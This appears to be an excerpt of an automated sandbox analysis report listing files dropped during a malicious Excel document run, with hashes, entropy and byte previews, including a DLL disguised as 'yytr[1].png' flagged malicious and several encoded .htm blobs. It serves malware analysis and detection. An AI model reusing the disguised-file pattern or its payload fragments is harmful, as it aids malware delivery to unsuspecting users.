Preview:	wOFF......f........D........................OS/2...X...H...`JM.FVDMX.............^.qcmap..............9cvt ...4... .......fpgm...T.......Y...gasp...D............glyf...P..U5.......head..]....2...6...Chhea..]........$$...hmtx..]..........ye'loca..^............Gmaxp..`.... ... ./..name..`....8....]..Rpost..f........ .Q.wprep..f$........x...x.c`.Pf......:....Q.B3_dHc..`e.bdb... .`@..`......./9.\|...V...)00...-.Wx...S......._..m.m.m.m.m;e..y.~.......<p..a.0t.&...a.pa.0B.1..F...Q.ha.0F.3.....q.xa.0A.0L.&...I.da.0E.2L....i.ta.0C.1..f...Y.la.0G.3.....y.\|a..@X0,.....E.ba.DX2,....e.ra..BX1..V...U.ja..FX3.....u.za..A.0l.6...M.fa.E.2l....m.va..C.1..v...].na..G.3......}.~a.p@80......C.a..pD82.....c.q..pB81..N...S.i..pF83.....s.y..pA.0\.....K.e..pE.2\....k.u..pC.1..n...[.m..pG.3......{.}...@x0<.....G.c...Dx2<....g.s...Bx1..^...W.k...Fx3.....w.{...A.0\|.>...O.g...E.2\|....o.w...C.1..~..._.o..08........?..0$........x...mL.U.............9.x.`[...&BF@X...V.h.Z..h......`n....[..U

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\urlblockindex[1].bin Download File
Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	1.6216407621868583
Encrypted:	false
SSDEEP:	3:PF/l:
MD5:	FA518E3DFAE8CA3A0E495460FD60C791
SHA1:	E4F30E49120657D37267C0162FD4A08934800C69
SHA-256:	775853600060162C4B4E5F883F9FD5A278E61C471B3EE1826396B6D129499AA7
SHA-512:	D21667F3FB081D39B579178E74E9BB1B6E9A97F2659029C165729A58F1787DC0ADADD980CD026C7A601D416665A81AC13A69E49A6A2FE2FDD0967938AA645C07
Malicious:	false
Preview:	.p.J2...........

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\MWFMDL2[1].ttf Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	TrueType Font data, 15 tables, 1st "OS/2", 37 names, Microsoft, language 0x403, type 2 string, Normaloby
Category:	dropped
Size (bytes):	20040
Entropy (8bit):	6.19996057371802
Encrypted:	false
SSDEEP:	384:FrnW7NB829nIBLy9oHPGWyFLenP+zQgnZfncO/A/xio:cA2wy9oHhsemzFvcOjo
MD5:	5410C5517F1BBEB51E2D0F43BC6B4309
SHA1:	4ADF2D3A889A8F9D71FAC262297302086A4A03F4
SHA-256:	2F4E38662C0FF2FAB3EB09DCB457CD0778501BFFEE4026F6B0D9364ABB05DB46
SHA-512:	E0EF3BCA5CEF4B6B69CE09FC5295E21A5D151912585AE80703139550BD222EF463CBA856EA7F37E9D8BEF21EEBD7790E3A7D81D580469997A8708B11B00E61BD
Malicious:	false
Preview:	...........pOS/2JZxh.......`VDMX.^.q...\....cmap.ph....<....cvt ...........fpgm..........Ygasp.......`....glyfoV."...l..7.head.k....C(...6hhea......C`...$hmtx.F.E..C.....loca.Y....Dt....maxp......E\... name..b...E\|....post.Q.w..MT... prepx.....Mt.................3.......3.....f..............................MS .@...B......................... ................................................................................................................................................................... . ...!.!..."."...#.#...$.$...%.%...&.&...'.'...(.(...).)....*...+.+...,.,...-.-........././...0.0...1.1...2.2...3.3...4.4...5.5...6.6...7.7...8.8...9.9...:.:...;.;...<.<...=.=...>.>...?.?...@.@...A.A...B.B...C.C...D.D...E.E...F.F...G.G...H.H...I.I...J.J...K.K...L.L...M.M...N.N...O.O...P.P...Q.Q...R.R...S.S...T.T...U.U...V.V...W.W...X.X...Y.Y...Z.Z...[.[...\.\...].]...^.^..._._...`.`...a.a...b.b...c.c...d.d...e.e...f.f...g.g...h.h...i.i...j.j...k.k...l.l...m.m...n.n...o.o...p.p...q.q..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\NuB[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	232892
Entropy (8bit):	5.99983179722127
Encrypted:	false
SSDEEP:	3072:WwRBCMcpzsFoU+3/OXc7/Uk+Hd0X2ibWQ27ru59XXIVQjm9L1AnqcFwSncixUDL:WwjCLpzE70/5eGX4PrgZYd9UIL
MD5:	75969FF5E0A524DD6B4B222274FCD1D3
SHA1:	0E82CCAA2AFF23BA97EBA1B08765D0FCE3AB7C7B
SHA-256:	6346B58F19CD12A7ECAE9AE661EF4EAB64FB9D8D66E9D8210353C3C04A711539
SHA-512:	9D46ECA3C1AC881F47D1F10D7A9948B90821CA6746260349D2A18FE112573681F49F39F6D5282F287C70E76376FBECF3F9FEDAC92E26D610ECF15B23711F3879
Malicious:	false
Preview:	D96kWnC5Hk53ORxbSIll9hRT6w/gorz4KVTzsweUJpeVNjYCkJhG98VWOePJU90HPCpqzH72DzDu2pgMed8822yfbTmRweoZauccHhxxLHPRJ5dpQbYfRY9vD0y5oGpCs78ei9FF5g80mABvJf3jyzD7rF89T/ihBKrf4/2vQmcCrkNMJyetmXQWKp8sUwgruFhOCuLAsfA2b2NUhtGkKiKhQEyfu1lyR05oFa0qfW8wwIDxM4EgTPzIxbNmTQwu7KDYBeoarBcj40+yb89SEaar6WH/iqtmavGDcFWxbWR0RPpCHVFLD3mso23VyZ4ASHtDxC4/l8qZXbopK3hJ+kf+1xI+zSOmZgAC7Ku2x5kIGItKvQX6y09ojsc3NffDFuvUbWiD0l4n8cvVgZaa4lqAOB08EMjfnc6G31NUZU1eVaaBUzjMCyWRQEBVqYLPPHNy4F+FZ7kAReLB0YPUACojN0nkQr+pz6wDFaGgTvrTupsbZe07Jlge95FcgM5ECS7n0v3dRS8XOLKGgvLlEM1rP4pOY/fOHxjT+RFRAibmxnSC8HWg/J471q6TywYgr8cgka+YSjZXKrDnF8HbdoNH74DwAPN6USClff/bmbH/bSV0kocgGJLKuH7EXHRDZZQxTayUmp9533sH80WBtLJqrEO8DycWdPaS3zg6aVijqb5tdQyRb4XktIMUI5Msr0bMyp8rLwgBo07Fy3Wlq6d4eiI8SENoZoFjjKveS7Eh2uIj29HJeDGpI4mQJrT0ViFS1/B8uwzx1zFvd9q5OisUWt1xa69m53uNcp3odAR87r3YWeJzauD1hf2idhEni4VHi6XUrOppJ0nw+/6vJbKyTW8Yg9HkQc/1UMU8JlrJMMHW1dbWDijQ1WQhRN9cixJU9SlbEZAlajUxypq6RJUqXl4jBdD79VcSnROvC7CGzeea+SayNjMPlwk2MW5N+Wjl3Q6wukQdxrY6x37/h11vUsixznaQsQlQJTgn

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\favicon[1].ico Download File
Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	PNG image data, 16 x 16, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	237
Entropy (8bit):	6.1480026084285395
Encrypted:	false
SSDEEP:	6:6v/lhPIF6R/C+u1fXNg1XQ3yslRtNO+cKvAElRApGCp:6v/7b/C1fm1ZslRTvAElR47
MD5:	9FB559A691078558E77D6848202F6541
SHA1:	EA13848D33C2C7F4F4BAA39348AEB1DBFAD3DF31
SHA-256:	6D8A01DC7647BC218D003B58FE04049E24A9359900B7E0CEBAE76EDF85B8B914
SHA-512:	0E08938568CD123BE8A20B87D9A3AAF5CB05249DE7F8286FF99D3FA35FC7AF7A9D9797DD6EFB6D1E722147DCFB74437DE520395234D0009D452FB96A8ECE236B
Malicious:	false
Preview:	.PNG........IHDR................R....sRGB.........gAMA......a.....pHYs..........o.d...-PLTE......(..5..X..h...........................J4.I...IIDAT.[c`..&.(.....F....cX.(@.j.+@..K.(..2L....1.{.....c`]L9.&2.l...I..E.......IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\favicon[2].ico Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	4.0126861171462025
Encrypted:	false
SSDEEP:	96:n0aWBDm5zDlvV2rkG4zuAZMXJFG62q7mQ:nCBy5zZ0IG46AaXJFG6v7m
MD5:	F74755B4757448D71FDCB4650A701816
SHA1:	0BCBE73D6A198F6E5EBAFA035B734A12809CEFA6
SHA-256:	E78286D0F5DFA2C85615D11845D1B29B0BFEC227BC077E74CB1FF98CE8DF4C5A
SHA-512:	E0FB5F740D67366106E80CBF22F1DA3CF1D236FE11F469B665236EC8F7C08DEA86C21EC8F8E66FC61493D6A8F4785292CE911D38982DBFA7F5F51DADEBCC8725
Malicious:	false
Preview:	............ .h...&... .... .........(....... ..... .....@.....................s...s...s...sw..r.......s...s...s...s.......s...s..s...s...s...s...r...s{..s...s#..s...s..r..s..s...s[..s...s...s..s...s...s...s}..s...sW..r..s...sm..sK..sC..sw..s..s...s%..s!..s..s...s...s...sU..s.sY..s...s..s..r#......s...s...s..s...r%..s[..s...s...s..s]..s...r.sS..s...sq..........s...s...s...s...s.......su..s...s.......s...s..s.sA..............s%..s..s#......r...r...s]..........s...s..sk..s...s...........s...s...s]......s...r..s7..........s...s..r...r...s...r...........s...s.......s...s..s7..........s...s..si..s?..s7..s...........s...s.......s...s...rW..........s...s..s...s...s...s...........s...s[..........ss..s...s.......s...s..sm..sI..s;..s.......s!..s..s#......s...s...s..sQ......s...s..s...r...sm..s...r...s...r...s...s...r...s...sQ..s..rK..s...sg..s'..........s...s...s..s...s'..s_..s...s...s...rQ..s..s...sK..r/..s3..sa..s...s...s!..s#..s..s...s...s...s...s...s...sy..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\yytr[1].png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	474112
Entropy (8bit):	6.774434102096341
Encrypted:	false
SSDEEP:	6144:zQOWfcHYKeRatkAJwiClyM7CuCO8kdxZmY6icsFrrEQvOFDvXOcY5EpCDSqh3l:ifcHby4kAeiCp86xIYnXOFDOEpbqH
MD5:	BA2BEFA9C70C2B6D779C48A59CECE3E5
SHA1:	4C855F80076E357D35C7D60CD52D2C49ABEFC5FF
SHA-256:	9C51CBE4681FACC34623AECA27A18DBAA6DB1337990A0E003B7C9BABEB06C1EB
SHA-512:	BDC4E33DE9DE4CF27D1DF05E22163C6A3EF0D2406D80CB51DB34139BF08CC3A923B079686FBC0A1B359EE46447EB0583C3343360D7E755179E9661C4A503047E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 38%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*............................L.............@.............................................................................("...`..........................he..................................................................................CODE.....~.......................... ..`DATA....<...........................@...BSS......................................idata..(".......$..................@....reloc..he.......f..................@..P.rsrc........`......."..............@..P.....................<..............@..P........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\17-f90ef1[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	133618
Entropy (8bit):	5.224557040823137
Encrypted:	false
SSDEEP:	3072:1f/HuFVppxvIeJ0i9d1EwgXA9JKi5DCE4t:1f/Hu/FIeRgt
MD5:	04ECF0CF6CBC75F16F34D42554CB4C9D
SHA1:	16DFBFEFBD6BB75FD61E7D678693C7C3998677E9
SHA-256:	06B2E0143CA1583C507056D1BC66A4024530340BA5582682180D3E2DCE56D163
SHA-512:	4CEE973A807DB3FE44D7623388087B0293869A539CC5062F0B9EDC33E4CFE98B9D969A4D987F739769C56D058BC55DDEBAB1B38E9C2A2303AE30E35870CBABD2
Malicious:	false
Preview:	(function(){/*. @license almond 0.3.3 Copyright jQuery Foundation and other contributors.. * Released under MIT license, http://github.com/requirejs/almond/LICENSE. /.var requirejs,require,define,__extends;(function(n){function r(n,t){return w.call(n,t)}function s(n,t){var o,s,f,e,h,p,c,b,r,l,w,k,u=t&&t.split("/"),a=i.map,y=a&&a[""]\|\|{};if(n){for(n=n.split("/"),h=n.length-1,i.nodeIdCompat&&v.test(n[h])&&(n[h]=n[h].replace(v,"")),n[0].charAt(0)==="."&&u&&(k=u.slice(0,u.length-1),n=k.concat(n)),r=0;r<n.length;r++)if(w=n[r],w===".")n.splice(r,1),r-=1;else if(w==="..")if(r===0\|\|r===1&&n[2]===".."\|\|n[r-1]==="..")continue;else r>0&&(n.splice(r-1,2),r-=2);n=n.join("/")}if((u\|\|y)&&a){for(o=n.split("/"),r=o.length;r>0;r-=1){if(s=o.slice(0,r).join("/"),u)for(l=u.length;l>0;l-=1)if(f=a[u.slice(0,l).join("/")],f&&(f=f[s],f)){e=f;p=r;break}if(e)break;!c&&y&&y[s]&&(c=y[s],b=r)}!e&&c&&(e=c,p=b);e&&(o.splice(0,p,e),n=o.join("/"))}return n}function y(t,i){return function(){var r=b.call(arguments,0

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\jquery-1.9.1.min[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	92629
Entropy (8bit):	5.303443527492463
Encrypted:	false
SSDEEP:	1536:dnu00HWWaRxkqJg09pYxoxDKMXJrg8hXXO4dK3kyfiLJBhdSZE+I+Qg7rbaN1RUx:ddkWgoBhcZRQgmW42qe
MD5:	397754BA49E9E0CF4E7C190DA78DDA05
SHA1:	AE49E56999D82802727455F0BA83B63ACD90A22B
SHA-256:	C12F6098E641AACA96C60215800F18F5671039AECF812217FAB3C0D152F6ADB4
SHA-512:	8C64754F77507AB2C24A6FC818419B9DD3F0CECCC9065290E41AFDBEE0743F0DA2CB13B2FBB00AFA525C082F1E697CB3FFD76EF9B902CB81D7C41CA1C641DFFB
Malicious:	false
Preview:	/! jQuery v1.9.1 \| (c) 2005, 2012 jQuery Foundation, Inc. \| jquery.org/license.//@ sourceMappingURL=jquery.min.map./(function(e,t){var n,r,i=typeof t,o=e.document,a=e.location,s=e.jQuery,u=e.$,l={},c=[],p="1.9.1",f=c.concat,d=c.push,h=c.slice,g=c.indexOf,m=l.toString,y=l.hasOwnProperty,v=p.trim,b=function(e,t){return new b.fn.init(e,t,r)},x=/[+-]?(?:\d\.\|)\d+(?:[eE][+-]?\d+\|)/.source,w=/\S+/g,T=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,N=/^(?:(<[\w\W]+>)[^>]\|#([\w-]))$/,C=/^<(\w+)\s\/?>(?:<\/\1>\|)$/,k=/^[\],:{}\s]$/,E=/(?:^\|:\|,)(?:\s\[)+/g,S=/\\(?:["\\\/bfnrt]\|u[\da-fA-F]{4})/g,A=/"[^"\\\r\n]*"\|true\|false\|null\|-?(?:\d+\.\|)\d+(?:[eE][+-]?\d+\|)/g,j=/^-ms-/,D=/-([\da-z])/gi,L=function(e,t){return t.toUpperCase()},H=function(e){(o.addEventListener\|\|"load"===e.type\|\|"complete"===o.readyState)&&(q(),b.ready())},q=function(){o.addEventListener?(o.removeEventListener("DOMContentLoaded",H,!1),e.removeEventListener("load",H,!1)):(o.detachEvent("onreadystatechange",H),e.detachEvent("onload",H)

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\mwf-west-european-default.min[1].css Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	563851
Entropy (8bit):	5.221453271093944
Encrypted:	false
SSDEEP:	6144:2VR57iqbPXlB5UR5vWenR5xWeMFdBjL+ks0EcU0MWEsuWe5fXbHfxlN/FNCn/Lpl:tTP0BKYtf
MD5:	12DD1E4D0485A80184B36D158018DE81
SHA1:	EB2594062E90E3DCD5127679F9C369D3BF39D61C
SHA-256:	A04B5B8B345E79987621008E6CC9BEF2B684663F9A820A0C7460E727A2A4DDC3
SHA-512:	F3A92BF0C681E6D2198970F43B966ABDF8CCBFF3F9BD5136A1CA911747369C49F8C36C69A7E98E0F2AED3163D9D1C5D44EFCE67A178DE479196845721219E12C
Malicious:	false
Preview:	@charset "UTF-8";/! @ms-mwf/mwf - v1.25.0+6321934 \| Copyright 2017 Microsoft Corporation \| This software is based on or incorporates material from the files listed below (collectively, "Third Party Code"). Microsoft is not the original author of the Third Party Code. The original copyright notice and the license under which Microsoft received Third Party Code are set forth below together with the full text of such license. Such notices and license are provided solely for your information. Microsoft, not the third party, licenses this Third Party Code to you under the terms in which you received the Microsoft software or the services, unless Microsoft clearly states that such Microsoft terms do NOT apply for a particular Third Party Code. Unless applicable law gives you more rights, Microsoft reserves all other rights not expressly granted under such agreement(s), whether by implication, estoppel or otherwise.//! normalize.css v3.0.3 \| MIT License \| github.com/necolas/normalize.css

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\wcp-consent[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	255440
Entropy (8bit):	6.051861579501256
Encrypted:	false
SSDEEP:	6144:PIgagvUI0iDsW9Whsredo7NjIZjIZP0aNWgF9Dyjzh:PIgaHI0iIUedo7NjIZjIZP0o74t
MD5:	38B769522DD0E4C2998C9034A54E174E
SHA1:	D95EF070878D50342B045DCF9ABD3FF4CCA0AAF3
SHA-256:	208EDBED32B2ADAC9446DF83CAA4A093A261492BA6B8B3BCFE6A75EFB8B70294
SHA-512:	F0A10A4C1CA4BAC8A2DBD41F80BBE1F83D767A4D289B149E1A7B6E7F4DBA41236C5FF244350B04E2EF485FDF6EB774B9565A858331389CA3CB474172465EB3EF
Malicious:	false
Preview:	var WcpConsent=function(e){var a={};function i(n){if(a[n])return a[n].exports;var o=a[n]={i:n,l:!1,exports:{}};return e[n].call(o.exports,o,o.exports,i),o.l=!0,o.exports}return i.m=e,i.c=a,i.d=function(e,a,n){i.o(e,a)\|\|Object.defineProperty(e,a,{enumerable:!0,get:n})},i.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},i.t=function(e,a){if(1&a&&(e=i(e)),8&a)return e;if(4&a&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(i.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&a&&"string"!=typeof e)for(var o in e)i.d(n,o,function(a){return e[a]}.bind(null,o));return n},i.n=function(e){var a=e&&e.__esModule?function(){return e.default}:function(){return e};return i.d(a,"a",a),a},i.o=function(e,a){return Object.prototype.hasOwnProperty.call(e,a)},i.p="",i(i.s=1)}([function(e,a,i){window,e.exports=function(e){var a={};function i(n)

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\81PS[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	2476
Entropy (8bit):	5.988046623872346
Encrypted:	false
SSDEEP:	48:T7RIJfbsubj0FGyRZevilrZS4BuxitIJXBfVOghP87xVrUuA:nVYYFGyKWEsQJkIU7xlUb
MD5:	932D41136B3BE3FD959DFAC2DBA155AF
SHA1:	1435668E668C81DD52C4BF6980DE2219800EAAAC
SHA-256:	580FB53E9B2C064C5DF469CE9A29814A332C22F6B116489552A3B83C98AA8096
SHA-512:	7BA4F0C3923DC5748C3CB95A2E218D11E8D8ECF22583EC1E8715DC63D90F97EAAAAE7430021BE39881C00835EF6BD78A08BBDDD377650FFA645065C9979233B8
Malicious:	false
Preview:	O2jzYvySU4vk9QR5ioimjXFyNz74/V/AadtXUyihcA2+XEAgPB0tOootysF4IyFzEuK+PJLPy8EdgKas7U7OKxroHhHi8Wjuh2vj5D3YRIcvqtU90tSGpsBmg6AzdSfbp+RkKVhAv+MnYqSyhvClDw5t6cQupcoyQoYsB5/6vJ6agPElgI7riSRoFCDx6n89oIpyAx0j9WEm1kEnxTS0uspjWbqV95T1OCUafFu0dr/eL7bmPoeTSFL8Kzf/zHccMXsAy8E6jVYW8hm38pmmnrqZo0z17z4NZ5H5Nq1LVn9R0OC6TmsfGVpiAf5nB6uCzmjt9vIxvjXQ+KLl1Wjf65Ai49wBTCygVPkztkTAm9TMgTa0GPCRBfGpcCJXCjN5d8PxQmzfgSdYYS+1hVqua9tIA1DKSVXI2k0P7aucxSoj0nZRC26iSCRIAd9nOR2iE8DYXsMNkGIM7e+lxUiZe4U3gSg+mS4sfvxPeYbOxjdI9t6ycgjFP1Oul+Z3ooed8bbTShdOKTUNYQT26YJAntkKt3/HVUh5ZdNsfhDU+4vcXp+ECtOEVWjw60pzrFav3MpaaBrm8zjtQRsnEWRJWCJV1aO30YMbSBG16firEecPsWZH+/BfAZ6nCwGBgAnRpq9mL1IccIYr4uPcTcp0hIHG0QBTYu3AVXRtEv6YuN5II7B6+g5YhnqU/mwzCt2lb9E0AeYZ9X6NWq048X8zXOJrM+Ba3dbXJzcqFMGZMF8SdiqQR1HXaw0K5jOcmuwN9v/ZgrnMS4Gz8cDZZTQJ0Fvnf0rbOPbD6QXG3tfgG/8BLoyq327UBkJ/MnI/AL8Qnt5/SEfS6V3JIx8+1TjkPnhJ1LNmNAc7RZQLx6mTX2axcEA8TvZ4kTYcQjQy1GZZOH3aPz6Ix+JhSO1v3Z6bo6NV7+Z+myKjRAN2Vr0BaMQcxJdo8SwYuEZxNlWcZQw+YIBWfpL1hYc2WmRaSiVj1cQpM9SsuCX1oGsuDJW4

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\MWFMDL2[1].woff Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	Web Open Font Format, TrueType, length 11480, version 0.0
Category:	dropped
Size (bytes):	11480
Entropy (8bit):	7.941998534530738
Encrypted:	false
SSDEEP:	192:QNhlpX236n8/cliy01vRGeJsqVZJZmKgiiwEkyaGG1QfPujdI5v9QtAOcAue2HCZ:QnjX23W8UcvRaqVZdgiiyRQf2+5v9Q0q
MD5:	5ED659CF5FC777935283BBC8AE7CC19A
SHA1:	A0490A2C4ADDD69A146A3B86C56722F89904B2F6
SHA-256:	31B8037945123706CB78D80D4D762695DF8C0755E9F7412E9961953B375708AE
SHA-512:	FCCBE358427808D44F5CDFCF1B0C5521C793716051A3777AAFDE84288FF531F3E68FBC2C2341BBFA7B495A31628EAB221A1F2BD3B0D2CC9DD7C1D3508FDE4A2F
Malicious:	false
Preview:	wOFF......,.......NH........................OS/2...X...H...`JZxhVDMX.............^.qcmap.............ph.cvt ...l... .......fpgm...........Y...gasp...\|............glyf...... ...7.oV."head..'X...0...6.k..hhea..'........$....hmtx..'....v.....F.Eloca..(..........Y..maxp..).... ... ....name..) ..........b.post..,8....... .Q.wprep..,L........x...x.c`f..8.....u..1...4.f...$..........@ .............8.\|...V...)00......x...S......._..m.m.m.m.m;e..y.~.......<p..a.0t.&...a.pa.0B.1..F...Q.ha.0F.3.....q.xa.0A.0L.&...I.da.0E.2L....i.ta.0C.1..f...Y.la.0G.3.....y.\|a..@X0,.....E.ba.DX2,....e.ra..BX1..V...U.ja..FX3.....u.za..A.0l.6...M.fa.E.2l....m.va..C.1..v...].na..G.3......}.~a.p@80......C.a..pD82.....c.q..pB81..N...S.i..pF83.....s.y..pA.0\.....K.e..pE.2\....k.u..pC.1..n...[.m..pG.3......{.}...@x0<.....G.c...Dx2<....g.s...Bx1..^...W.k...Fx3.....w.{...A.0\|.>...O.g...E.2\|....o.w...C.1..~..._.o..08........?..0$........x..AHTq.../..$mk...E#.L.<.X,..D..P..:T.$Y.x....!.u...!J..(.X

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\RE1Mu3b[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 216 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4054
Entropy (8bit):	7.797012573497454
Encrypted:	false
SSDEEP:	48:zICvnyRHJ3BRZPcSPQ72N2xoiR4fTJX/rj4sFNMkk5/p1k2lPUmbm39o4aL7V9XH:10nvE724xoiRQJPrjpLKSFl9oX31Z1d
MD5:	9F14C20150A003D7CE4DE57C298F0FBA
SHA1:	DAA53CF17CC45878A1B153F3C3BF47DC9669D78F
SHA-256:	112FEC798B78AA02E102A724B5CB1990C0F909BC1D8B7B1FA256EAB41BBC0960
SHA-512:	D4F6E49C854E15FE48D6A1F1A03FDA93218AB8FCDB2C443668E7DF478830831ACC2B41DAEFC25ED38FCC8D96C4401377374FED35C36A5017A11E63C8DAE5C487
Malicious:	false
Preview:	.PNG........IHDR.............J.......tEXtSoftware.Adobe ImageReadyq.e<...(iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c132 79.159284, 2016/04/19-13:13:40 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:A00BC639840A11E68CBEB97C2156C7FD" xmpMM:InstanceID="xmp.iid:A00BC638840A11E68CBEB97C2156C7FD" xmp:CreatorTool="Adobe Photoshop CC 2015.5 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A2C931A470A111E6AEDFA14578553B7B" stRef:documentID="xmp.did:A2C931A570A111E6AEDFA14578553B7B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......DIDATx..\..UU.>.7..3....h.L..& j2...h.@..".........`U.......R"..Dq.&.BJR 1.4`$.200...l........wg.y.[k/

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\override[1].css Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1531
Entropy (8bit):	4.797455242405607
Encrypted:	false
SSDEEP:	24:Udf0F+MOu2UOqD3426TKgR2Yyk9696TkMYqdfskeEkeGk/ksuF9qaSm9qags:Ud8FYqTj36TKgR2Yyk9696TkMYO0keEW
MD5:	A570448F8E33150F5737B9A57B6D889A
SHA1:	860949A95B7598B394AA255FE06F530C3DA24E4E
SHA-256:	0BD288D5397A69EAD391875B422BF2CBDCC4F795D64AA2F780AFF45768D78248
SHA-512:	217F971A8012DE8FE170B4A20821A52FA198447FA582B82CF221F4D73E902C7E3AA1022CB0B209B6679C2EAE0F10469A149F510A6C2132C987F46214B1E2BBBC
Malicious:	false
Preview:	a.c-call-to-action:hover, button.c-call-to-action:hover{box-shadow:none!important}a.c-call-to-action:hover span, button.c-call-to-action:hover span{left:0!important}...c-call-to-action:not(.glyph-play):after { right: 0!important;} a.c-call-to-action:focus,button.c-call-to-action:focus{box-shadow:none!important}a.c-call-to-action:focus span,button.c-call-to-action:focus span{left:0!important;box-shadow:none!important}...theme-dark .c-me .msame_Header_name {color: #f2f2f2;}...pmg-page-wrapper .uhf div, .pmg-page-wrapper .uhf button, .pmg-page-wrapper .uhf a, .pmg-page-wrapper .uhf span, .pmg-page-wrapper .uhf p, .pmg-page-wrapper .uhf input {font-family: Segoe UI,SegoeUI,Helvetica Neue,Helvetica,Arial,sans-serif !important;}..@media (min-width: 540px) {.pmg-page-wrapper .uhf .c-uhfh-alert span, .pmg-page-wrapper .uhf #uhf-g-nav span, .pmg-page-wrapper .uhf .c-uhfh-actions span, .pmg-page-wrapper .uhf li, .pmg-page-wrapper .uhf button, .pmg-page-wrapper .uhf a, .pmg-page-wrapper .uhf #meC

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\teCNe1[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	295700
Entropy (8bit):	5.999829797633625
Encrypted:	false
SSDEEP:	6144:YvPsLIubu247W7DOmOblnqGXN1/l+qlvGAT4qPo8nCX4f10ai0+:+Pssuhi86qGXNH+Q3ggCX3a9+
MD5:	8AE37E7E0148B06F4FB85AB05484E609
SHA1:	08B81093F1C189E609BE7CA767EFD6FCA0102389
SHA-256:	CBDB9F54CCDB45C4CA263F6AD740385091D42B17BF7D68466A1B387120E81149
SHA-512:	338E68E77F1ACC889AE8B5322B0FE3EB953D41F541269D1176A7AD488C084067011573864C65E041A28C2F6D9B22565C186825E17906FDF21103796468B78DA0
Malicious:	false
